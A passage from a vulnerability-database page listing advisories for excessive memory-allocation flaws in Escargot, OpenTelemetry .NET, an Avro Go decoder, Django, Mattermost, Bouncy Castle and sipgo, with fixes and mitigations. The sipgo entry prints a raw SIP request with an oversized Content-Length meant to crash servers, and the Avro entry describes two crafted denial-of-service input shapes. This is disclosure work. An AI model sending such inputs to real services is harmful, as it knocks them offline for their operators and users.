Common Weakness Enumeration

CWE-789

Allowed

Memory Allocation with Excessive Size Value

Abstraction: Variant · Status: Draft

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

507 vulnerabilities reference this CWE, most recent first.

GHSA-MPG3-32G2-7QF5

Vulnerability from github – Published: 2026-05-19 09:31 – Updated: 2026-05-19 09:31
VLAI
Details

Memory allocation with excessive size value vulnerability in Samsung Open Source Escargot allows Excessive Allocation.

This issue affects Escargot: 590345cc6258317c5da850d846ce6baaf2afc2d3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-47313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T08:16:15Z",
    "severity": "MODERATE"
  },
  "details": "Memory allocation with excessive size value vulnerability in Samsung Open Source Escargot allows Excessive Allocation.\n\nThis issue affects Escargot: 590345cc6258317c5da850d846ce6baaf2afc2d3.",
  "id": "GHSA-mpg3-32g2-7qf5",
  "modified": "2026-05-19T09:31:20Z",
  "published": "2026-05-19T09:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47313"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Samsung/escargot/pull/1565"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MR8R-92FQ-PJ8P

Vulnerability from github – Published: 2026-04-23 21:40 – Updated: 2026-04-23 21:40
VLAI
Summary
OpenTelemetry dotnet: Unbounded `grpc-status-details-bin` parsing in OTLP/gRPC retry handling
Details

Summary

When exporting telemetry over gRPC using the OpenTelemetry Protocol (OTLP), the exporter may parse a server-provided grpc-status-details-bin trailer during retry handling. Prior to the fix, a malformed trailer could encode an extremely large length-delimited protobuf field which was used directly for allocation, allowing excessive memory allocation and potential denial of service (DoS).

Details

5980 introduced a retry path that parses grpc-status-details-bin to extract gRPC retry delay information for retryable responses.

On that path:

  • OtlpGrpcExportClient captures grpc-status-details-bin from retryable status responses (ResourceExhausted / Unavailable).
  • OtlpRetry invokes GrpcStatusDeserializer.TryGetGrpcRetryDelay using this untrusted trailer value.
  • GrpcStatusDeserializer.DecodeBytes decoded a protobuf varint length and allocated new byte[length] without validating the bounds against the remaining payload size.

A malicious or compromised collector (or a MitM in weakly-protected deployments) could return a crafted grpc-status-details-bin payload that forces oversized allocation and memory exhaustion in the instrumented process.

Impact

If an OTLP/gRPC endpoint is attacker-controlled (or traffic is intercepted), a crafted retryable response can trigger large allocations during trailer parsing, which may exhaust memory and cause process instability/crash (availability impact / DoS).

Mitigation

The application's configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.

Workarounds

None known.

Remediation

#7064 updates GrpcStatusDeserializer to validate decoded length-delimited field sizes before allocation by ensuring the requested length is sane and does not exceed the remaining payload.

This causes malformed or truncated grpc-status-details-bin payloads to fail safely instead of attempting unbounded allocation.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "OpenTelemetry.Exporter.OpenTelemetryProtocol"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.1"
            },
            {
              "fixed": "1.15.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40891"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-23T21:40:29Z",
    "nvd_published_at": "2026-04-23T18:16:28Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen exporting telemetry over gRPC using the OpenTelemetry Protocol (OTLP), the exporter may parse a server-provided `grpc-status-details-bin` trailer during retry handling. Prior to the fix, a malformed trailer could encode an extremely large length-delimited protobuf field which was used directly for allocation, allowing excessive memory allocation and potential denial of service (DoS).\n\n### Details\n\n#5980 introduced a retry path that parses `grpc-status-details-bin` to extract gRPC retry delay information for retryable responses.\n\nOn that path:\n\n- `OtlpGrpcExportClient` captures `grpc-status-details-bin` from retryable status responses (`ResourceExhausted` / `Unavailable`).\n- `OtlpRetry` invokes `GrpcStatusDeserializer.TryGetGrpcRetryDelay` using this untrusted trailer value.\n- `GrpcStatusDeserializer.DecodeBytes` decoded a protobuf varint length and allocated `new byte[length]` without validating the bounds against the remaining payload size.\n\nA malicious or compromised collector (or a MitM in weakly-protected deployments) could return a crafted `grpc-status-details-bin` payload that forces oversized allocation and memory exhaustion in the instrumented process.\n\n### Impact\n\nIf an OTLP/gRPC endpoint is attacker-controlled (or traffic is intercepted), a crafted retryable response can trigger large allocations during trailer parsing, which may exhaust memory and cause process instability/crash (availability impact / DoS).\n\n### Mitigation\n\nThe application\u0027s configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.\n\n### Workarounds\n\nNone known.\n\n### Remediation\n\n[#7064](https://github.com/open-telemetry/opentelemetry-dotnet/pull/7064) updates `GrpcStatusDeserializer` to validate decoded length-delimited field sizes before allocation by ensuring the requested length is sane and does not exceed the remaining payload.\n\nThis causes malformed or truncated `grpc-status-details-bin` payloads to fail safely instead of attempting unbounded allocation.",
  "id": "GHSA-mr8r-92fq-pj8p",
  "modified": "2026-04-23T21:40:29Z",
  "published": "2026-04-23T21:40:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-mr8r-92fq-pj8p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40891"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/5980"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/7064"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-dotnet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenTelemetry dotnet: Unbounded `grpc-status-details-bin` parsing in OTLP/gRPC retry handling"
}

GHSA-MX64-MJ3Q-7PRJ

Vulnerability from github – Published: 2026-05-18 12:59 – Updated: 2026-05-18 12:59
VLAI
Summary
iskorotkov/avro: Denial-of-Service Vulnerability in Decoder
Details

Memory Exhaustion via Unbounded Map Allocations in Avro Decoder

Summary

The Avro map decoder accepted attacker-controlled block-element counts from the wire format and grew the destination map without enforcing an upper bound. The slice decoder already had Config.MaxSliceAllocSize for the equivalent attack against arrays; the map decoder had no analogous limit, so a producer could declare an arbitrarily large map (in one block, or chunked across many sub-limit blocks) and exhaust process memory until the OOM killer fired.

The fix introduces Config.MaxMapAllocSize with cumulative enforcement across block boundaries. The new limit is opt-in: the field defaults to zero, which preserves the previous unbounded behavior for backward compatibility. Upgrading to v2.33.0 alone does not mitigate the issue — consumers of untrusted Avro data must explicitly set MaxMapAllocSize on their avro.Config.

Description

Avro maps are encoded as a sequence of blocks; each block declares a long element count followed by that many key/value pairs. The decoder uses these counts both to size the destination map and as the loop bound for reading entries.

Pre-fix, the map decoder enforced no upper limit at any layer:

  • No per-block element-count check.
  • No cumulative across-block element-count check.
  • No memory-budget check before make(map[...]..., n) or before growing the map.

The slice decoder had been hardened via Config.MaxSliceAllocSize and tracked cumulatively across blocks; the map decoder was a missing-by-symmetry gap. Even a partial per-block bound on maps would have been insufficient on its own — Avro permits encoding a logical map as many small blocks, so a producer could split a 10 GB map into 10,000 sub-MaxMapAllocSize blocks and still drive total allocation past any single-block threshold. The fix tracks cumulative entry count at block-header boundaries — before the block's entries are decoded into the map — and errors out before allocation when the running total would exceed the configured cap.

Two decoder variants were affected, both in codec_map.go:

  • mapDecoder.Decode — string-keyed maps.
  • mapDecoderUnmarshaler.Decode — encoding.TextUnmarshaler-keyed maps (e.g. map[CustomKey]V where *CustomKey implements UnmarshalText).

Affected components

File Symbol Pre-fix behavior Post-fix behavior
config.go Config.MaxMapAllocSize Field did not exist New int field; default zero means unlimited (back-compat)
codec_map.go mapDecoder.Decode Read block count, grew map unbounded Validates cumulative count against MaxMapAllocSize at each block header
codec_map.go mapDecoderUnmarshaler.Decode Same Same

PR #5 (fix/map-alloc-chunking-bypass) covers both decoders and adds chunking-attack tests for both. The same PR also adds the previously-missing chunking-attack test coverage for the slice path in 534c7518 — the slice logic was already correct, only its test coverage was incomplete.

Technical details

The fix mirrors the slice decoder's pattern:

  1. At each block header, read the element count as int64.
  2. Add it to a running total maintained across the block loop.
  3. If the running total exceeds Config.MaxMapAllocSize (when nonzero), return an error before allocating any of that block's entries.
  4. Otherwise, decode the block's entries into the map.

Per-block enforcement alone would be bypassable by chunking; cumulative tracking closes that. The check sits at the block-header read, before per-entry allocation, so a single oversized block also cannot allocate first and then fail post-hoc.

Config.MaxMapAllocSize semantics match Config.MaxSliceAllocSize: zero means unlimited, any positive value is the cumulative cap on element count (not byte size).

Fixed behavior

v2.33.0 adds the MaxMapAllocSize configuration field and the cumulative-enforcement logic in both map decoders. Both decoders return a descriptive error when the cumulative entry count would exceed the configured cap; no entries are allocated past the limit.

Tests added in PR #5 cover, for both mapDecoder and mapDecoderUnmarshaler:

  • Single-block allocation exceeding the limit (rejected before allocation).
  • Chunking attack: multiple sub-limit blocks whose cumulative count exceeds the limit (rejected at the block-header that crosses the threshold).
  • Multi-block under the limit (decoded normally).

Affected versions

  • github.com/hamba/avro/v2 — all versions up to and including v2.31.0 (repository is read-only upstream).
  • github.com/iskorotkov/avro/v2 — all versions prior to v2.33.0. Note: v2.33.0 and later are vulnerable by default and only protected when MaxMapAllocSize is explicitly configured — see Mitigation.

Fixed versions

github.com/iskorotkov/avro/v2 v2.33.0 and later, with Config.MaxMapAllocSize explicitly set to a non-zero value.

A bare upgrade to v2.33.0 without setting MaxMapAllocSize leaves the decoder in the same unbounded state as v2.32.0. This is a backward-compatibility choice; a future major version may flip the default. Until then, treat this advisory as requiring both an upgrade and a configuration change.

There is no upstream fix for github.com/hamba/avro/v2 — module path is archived. Migrate to the fork as described under Mitigation.

Mitigation

Migrate from github.com/hamba/avro/v2 to github.com/iskorotkov/avro/v2 >= v2.33.0 and configure an allocation cap appropriate for your schema. The recommended approach for processes that decode untrusted input is a dedicated frozen config, used at every relevant call site, rather than mutating avro.DefaultConfig:

cfg := avro.Config{
    MaxByteSliceSize:  102_400,
    MaxSliceAllocSize: 10_000,
    MaxMapAllocSize:   10_000,
}.Freeze()

decoder := cfg.NewDecoder(schema, reader)

Choose the values based on the largest legitimate map your schema produces; a value 2–10× that ceiling provides headroom for benign variance while still bounding worst-case memory.

For consumers that prefer the original import path, a replace directive in go.mod is supported:

replace github.com/hamba/avro/v2 => github.com/iskorotkov/avro/v2 v2.33.0

replace is honoured only for the main module of a build — transitive consumers must add their own replace, or migrate the import path directly.

If you cannot upgrade immediately, the only structural workarounds are out-of-band: run decoders in memory-constrained child processes or cgroups so an OOM is contained, reject inputs from sources without resource controls, and apply per-request decode deadlines so a runaway decode at least times out before the OOM killer fires.

Proof-of-concept input

Two attack shapes, both targeting map[string]int:

Single-block, oversize block count. Emit one block header declaring n = 2³¹ − 1 (or any value whose n × averageEntrySize exceeds available memory) followed by truncated entries. Pre-fix, the decoder pre-allocates make(map[string]int, n), which fails or stalls long before EOF is reached.

Chunking bypass. Emit k blocks each declaring n / k elements, with n / k below any plausible per-block threshold but n itself well into the GB range. Pre-fix, the decoder happily grows the map block-by-block until the OS kills the process. Post-fix with MaxMapAllocSize = 10_000, the decoder rejects whichever block-header read pushes cumulative count past 10,000.

Either shape can be produced by hand-crafting the wire bytes; no iskorotkov/avro writer is needed to generate them.

References

Credits

  • Fix author (commit 5192df9, PR #5 — MaxMapAllocSize config field, cumulative enforcement in both map decoders, chunking-attack tests for slices and maps): Ivan Korotkov (@iskorotkov)
  • Review (commit a5fbddcb, "address review comments"): Daniel Błażewicz (@klajok)

Timeline

  • 2026-04-30 — MaxMapAllocSize introduced (5192df9); chunking-attack test coverage for slices added (534c7518).
  • 2026-05-01 — PR #5 merged into main.
  • 2026-05-06 — v2.33.0 tagged and released.
  • 2026-05-07 — Advisory published.
  • 2026-05-15 — Advisory revised.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/iskorotkov/avro/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-400",
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T12:59:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Memory Exhaustion via Unbounded Map Allocations in Avro Decoder\n\n## Summary\n\nThe Avro map decoder accepted attacker-controlled block-element counts from the wire format and grew the destination map without enforcing an upper bound. The slice decoder already had `Config.MaxSliceAllocSize` for the equivalent attack against arrays; the map decoder had no analogous limit, so a producer could declare an arbitrarily large map (in one block, or chunked across many sub-limit blocks) and exhaust process memory until the OOM killer fired.\n\nThe fix introduces `Config.MaxMapAllocSize` with cumulative enforcement across block boundaries. **The new limit is opt-in**: the field defaults to zero, which preserves the previous unbounded behavior for backward compatibility. **Upgrading to `v2.33.0` alone does not mitigate the issue** \u2014 consumers of untrusted Avro data must explicitly set `MaxMapAllocSize` on their `avro.Config`.\n\n## Description\n\nAvro maps are encoded as a sequence of blocks; each block declares a `long` element count followed by that many key/value pairs. The decoder uses these counts both to size the destination map and as the loop bound for reading entries.\n\nPre-fix, the map decoder enforced no upper limit at any layer:\n\n- No per-block element-count check.\n- No cumulative across-block element-count check.\n- No memory-budget check before `make(map[...]..., n)` or before growing the map.\n\nThe slice decoder had been hardened via `Config.MaxSliceAllocSize` and tracked cumulatively across blocks; the map decoder was a missing-by-symmetry gap. Even a partial per-block bound on maps would have been insufficient on its own \u2014 Avro permits encoding a logical map as many small blocks, so a producer could split a 10 GB map into 10,000 sub-MaxMapAllocSize blocks and still drive total allocation past any single-block threshold. The fix tracks cumulative entry count at block-header boundaries \u2014 *before* the block\u0027s entries are decoded into the map \u2014 and errors out before allocation when the running total would exceed the configured cap.\n\nTwo decoder variants were affected, both in `codec_map.go`:\n\n- `mapDecoder.Decode` \u2014 string-keyed maps.\n- `mapDecoderUnmarshaler.Decode` \u2014 `encoding.TextUnmarshaler`-keyed maps (e.g. `map[CustomKey]V` where `*CustomKey` implements `UnmarshalText`).\n\n## Affected components\n\n| File | Symbol | Pre-fix behavior | Post-fix behavior |\n|------|--------|------------------|-------------------|\n| `config.go` | `Config.MaxMapAllocSize` | Field did not exist | New `int` field; default zero means unlimited (back-compat) |\n| `codec_map.go` | `mapDecoder.Decode` | Read block count, grew map unbounded | Validates cumulative count against `MaxMapAllocSize` at each block header |\n| `codec_map.go` | `mapDecoderUnmarshaler.Decode` | Same | Same |\n\nPR [#5](https://github.com/iskorotkov/avro/pull/5) (`fix/map-alloc-chunking-bypass`) covers both decoders and adds chunking-attack tests for both. The same PR also adds the previously-missing chunking-attack test coverage for the slice path in `534c7518` \u2014 the slice *logic* was already correct, only its test coverage was incomplete.\n\n## Technical details\n\nThe fix mirrors the slice decoder\u0027s pattern:\n\n1. At each block header, read the element count as `int64`.\n2. Add it to a running total maintained across the block loop.\n3. If the running total exceeds `Config.MaxMapAllocSize` (when nonzero), return an error before allocating any of that block\u0027s entries.\n4. Otherwise, decode the block\u0027s entries into the map.\n\nPer-block enforcement alone would be bypassable by chunking; cumulative tracking closes that. The check sits at the block-header read, *before* per-entry allocation, so a single oversized block also cannot allocate first and then fail post-hoc.\n\n`Config.MaxMapAllocSize` semantics match `Config.MaxSliceAllocSize`: zero means unlimited, any positive value is the cumulative cap on element count (not byte size).\n\n## Fixed behavior\n\n`v2.33.0` adds the `MaxMapAllocSize` configuration field and the cumulative-enforcement logic in both map decoders. Both decoders return a descriptive error when the cumulative entry count would exceed the configured cap; no entries are allocated past the limit.\n\nTests added in PR #5 cover, for both `mapDecoder` and `mapDecoderUnmarshaler`:\n\n- Single-block allocation exceeding the limit (rejected before allocation).\n- Chunking attack: multiple sub-limit blocks whose cumulative count exceeds the limit (rejected at the block-header that crosses the threshold).\n- Multi-block under the limit (decoded normally).\n\n## Affected versions\n\n- `github.com/hamba/avro/v2` \u2014 all versions up to and including `v2.31.0` (repository is read-only upstream).\n- `github.com/iskorotkov/avro/v2` \u2014 all versions prior to `v2.33.0`. Note: `v2.33.0` and later are vulnerable *by default* and only protected when `MaxMapAllocSize` is explicitly configured \u2014 see Mitigation.\n\n## Fixed versions\n\n`github.com/iskorotkov/avro/v2` `v2.33.0` and later, **with `Config.MaxMapAllocSize` explicitly set to a non-zero value**.\n\nA bare upgrade to `v2.33.0` without setting `MaxMapAllocSize` leaves the decoder in the same unbounded state as `v2.32.0`. This is a backward-compatibility choice; a future major version may flip the default. Until then, treat this advisory as requiring both an upgrade *and* a configuration change.\n\nThere is no upstream fix for `github.com/hamba/avro/v2` \u2014 module path is archived. Migrate to the fork as described under Mitigation.\n\n## Mitigation\n\nMigrate from `github.com/hamba/avro/v2` to `github.com/iskorotkov/avro/v2 \u003e= v2.33.0` **and** configure an allocation cap appropriate for your schema. The recommended approach for processes that decode untrusted input is a dedicated frozen config, used at every relevant call site, rather than mutating `avro.DefaultConfig`:\n\n```go\ncfg := avro.Config{\n    MaxByteSliceSize:  102_400,\n    MaxSliceAllocSize: 10_000,\n    MaxMapAllocSize:   10_000,\n}.Freeze()\n\ndecoder := cfg.NewDecoder(schema, reader)\n```\n\nChoose the values based on the largest legitimate map your schema produces; a value 2\u201310\u00d7 that ceiling provides headroom for benign variance while still bounding worst-case memory.\n\nFor consumers that prefer the original import path, a `replace` directive in `go.mod` is supported:\n\n```\nreplace github.com/hamba/avro/v2 =\u003e github.com/iskorotkov/avro/v2 v2.33.0\n```\n\n`replace` is honoured only for the **main** module of a build \u2014 transitive consumers must add their own `replace`, or migrate the import path directly.\n\nIf you cannot upgrade immediately, the only structural workarounds are out-of-band: run decoders in memory-constrained child processes or cgroups so an OOM is contained, reject inputs from sources without resource controls, and apply per-request decode deadlines so a runaway decode at least times out before the OOM killer fires.\n\n## Proof-of-concept input\n\nTwo attack shapes, both targeting `map[string]int`:\n\n**Single-block, oversize block count.** Emit one block header declaring `n = 2\u00b3\u00b9 \u2212 1` (or any value whose `n \u00d7 averageEntrySize` exceeds available memory) followed by truncated entries. Pre-fix, the decoder pre-allocates `make(map[string]int, n)`, which fails or stalls long before EOF is reached.\n\n**Chunking bypass.** Emit `k` blocks each declaring `n / k` elements, with `n / k` below any plausible per-block threshold but `n` itself well into the GB range. Pre-fix, the decoder happily grows the map block-by-block until the OS kills the process. Post-fix with `MaxMapAllocSize = 10_000`, the decoder rejects whichever block-header read pushes cumulative count past 10,000.\n\nEither shape can be produced by hand-crafting the wire bytes; no `iskorotkov/avro` writer is needed to generate them.\n\n## References\n\n- Fix PR: [iskorotkov/avro#5](https://github.com/iskorotkov/avro/pull/5)\n- Fix commit: [`5192df9`](https://github.com/iskorotkov/avro/commit/5192df96a158999344ac96ebcb1f7461d626f6d7) (`codec_map.go`, `config.go`, tests)\n- Slice-path chunking-attack test coverage added in the same PR: [`534c7518`](https://github.com/iskorotkov/avro/commit/534c7518152a893d8b4dea962669bd1123308a00)\n- Release: [`v2.33.0`](https://github.com/iskorotkov/avro/releases/tag/v2.33.0)\n- Security policy: [`SECURITY.md`](https://github.com/iskorotkov/avro/blob/main/SECURITY.md)\n- Related advisories on this fork: [`GHSA-mc57-h6j3-3hmv`](https://github.com/iskorotkov/avro/security/advisories/GHSA-mc57-h6j3-3hmv) (integer overflow), [`GHSA-w8j3-pq8g-8m7w`](https://github.com/iskorotkov/avro/security/advisories/GHSA-w8j3-pq8g-8m7w) (CPU exhaustion \u2014 the same chunked-payload shape may trigger both before allocation pressure kicks in)\n- Cross-module precedent on `hamba/avro`: [`GO-2023-1930`](https://pkg.go.dev/vuln/GO-2023-1930) / `CVE-2023-37475` / `GHSA-9x44-9pgq-cf45`\n- Upstream (read-only): [`hamba/avro`](https://github.com/hamba/avro)\n\n## Credits\n\n- **Fix author** (commit `5192df9`, PR #5 \u2014 `MaxMapAllocSize` config field, cumulative enforcement in both map decoders, chunking-attack tests for slices and maps): Ivan Korotkov ([@iskorotkov](https://github.com/iskorotkov))\n- **Review** (commit `a5fbddcb`, \"address review comments\"): Daniel B\u0142a\u017cewicz ([@klajok](https://github.com/klajok))\n\n## Timeline\n\n- **2026-04-30** \u2014 `MaxMapAllocSize` introduced (`5192df9`); chunking-attack test coverage for slices added (`534c7518`).\n- **2026-05-01** \u2014 PR #5 merged into `main`.\n- **2026-05-06** \u2014 `v2.33.0` tagged and released.\n- **2026-05-07** \u2014 Advisory published.\n- **2026-05-15** \u2014 Advisory revised.",
  "id": "GHSA-mx64-mj3q-7prj",
  "modified": "2026-05-18T12:59:58Z",
  "published": "2026-05-18T12:59:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/iskorotkov/avro/security/advisories/GHSA-mx64-mj3q-7prj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/iskorotkov/avro"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "iskorotkov/avro: Denial-of-Service Vulnerability in Decoder"
}

GHSA-MXCG-2F2X-4Q92

Vulnerability from github – Published: 2026-10-06 15:32 – Updated: 2026-10-06 15:32
VLAI
Details

An issue was discovered in Django 6.1 before 6.1.2, 6.0 before 6.0.9, and 5.2 before 5.2.18. django.utils.translation.get_supported_language_variant() is subject to a potential denial-of-service attack when processing many distinct, very long language codes, which are retained as keys in an in-memory cache and consume process memory. Earlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected. Django would like to thank Gleb Lizunov for reporting this issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-77050"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-06T14:17:46Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Django 6.1 before 6.1.2, 6.0 before 6.0.9, and 5.2 before 5.2.18.\n`django.utils.translation.get_supported_language_variant()` is subject to\na potential denial-of-service attack when processing many distinct, very long\nlanguage codes, which are retained as keys in an in-memory cache and\nconsume process memory.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Gleb Lizunov for reporting this issue.",
  "id": "GHSA-mxcg-2f2x-4q92",
  "modified": "2026-10-06T15:32:00Z",
  "published": "2026-10-06T15:32:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77050"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/02a69e3791e3df23d45ea4ea7e7fc489f0eef2be"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/3d32ee80ae52745d686bf94d3555000ddf073267"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/7e878b0f8bd42260903e6a0d38996a93b0474a0b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/c88b304cc2d90fc37d3bd1f5f3829706fa6c13bc"
    },
    {
      "type": "WEB",
      "url": "https://docs.djangoproject.com/en/dev/releases/security"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/django-announce"
    },
    {
      "type": "WEB",
      "url": "https://www.djangoproject.com/weblog/2026/oct/06/security-releases"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P28Q-HQH3-QH95

Vulnerability from github – Published: 2026-09-22 21:31 – Updated: 2026-09-22 21:31
VLAI
Details

Mattermost versions 11.9.x <= 11.9.1, 11.8.x <= 11.8.5, 11.7.x <= 11.7.10, 11.10.x <= 11.10.1 fail to enforce a request body size limit during CSRF validation of plugin requests which allows an authenticated user to exhaust server memory and cause a denial of service via a large request body sent to a plugin endpoint.. Mattermost Advisory ID: MMSA-2026-00775

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-96260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T21:17:35Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost versions 11.9.x \u003c= 11.9.1, 11.8.x \u003c= 11.8.5, 11.7.x \u003c= 11.7.10, 11.10.x \u003c= 11.10.1 fail to enforce a request body size limit during CSRF validation of plugin requests which allows an authenticated user to exhaust server memory and cause a denial of service via a large request body sent to a plugin endpoint.. Mattermost Advisory ID: MMSA-2026-00775",
  "id": "GHSA-p28q-hqh3-qh95",
  "modified": "2026-09-22T21:31:31Z",
  "published": "2026-09-22T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96260"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P2MP-577Q-8VH2

Vulnerability from github – Published: 2026-08-03 06:31 – Updated: 2026-08-28 18:31
VLAI
Details

In Bouncy Castle for Java before 1.85, MLS wire decoder allocates attacker-declared opaque length before bounds check.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-12852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T04:16:39Z",
    "severity": "HIGH"
  },
  "details": "In Bouncy Castle for Java before 1.85, MLS wire decoder allocates attacker-declared opaque length before bounds check.",
  "id": "GHSA-p2mp-577q-8vh2",
  "modified": "2026-08-28T18:31:12Z",
  "published": "2026-08-03T06:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12852"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/a747038bb5bbd5e29fb2b7607ab38af1fd8d1790"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9012852"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-12852"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PG59-5VWG-4JXQ

Vulnerability from github – Published: 2026-09-22 19:57 – Updated: 2026-09-22 19:57
VLAI
Summary
SIPGO: DoS via unvalidated Content-Length in the stream parser
Details

Summary

The stream parser allocates the SIP body buffer from the Content-Length header before validating its size, which can lead to an unauthenticated DoS.

Details

ParserStream.parseSingle allocates the body buffer from the declared Content-Length with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):

body := make([]byte, contentLength)   // contentLength is client-controlled, up to 2^32-1 (uint32)

The ParseMaxMessageLength (65535) check is in the caller ParseNext (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after parseSingle has already allocated the buffer.

PoC

Tested on emiago/sipgo v1.4.0 (latest).

Send a single message with a large Content-Length and no body to a SIP server:

INVITE sip:victim@example.com SIP/2.0
Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1
From: <sip:attacker@attacker.example>;tag=1
To: <sip:victim@example.com>
Call-ID: 1@attacker.example
CSeq: 1 INVITE
Content-Length: 4000000000                     // <- a large Content-Length

Suggested Fix

Validate contentLength against ParseMaxMessageLength before the allocation.

Impact

Unauthenticated DoS. Any service using sipgo with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
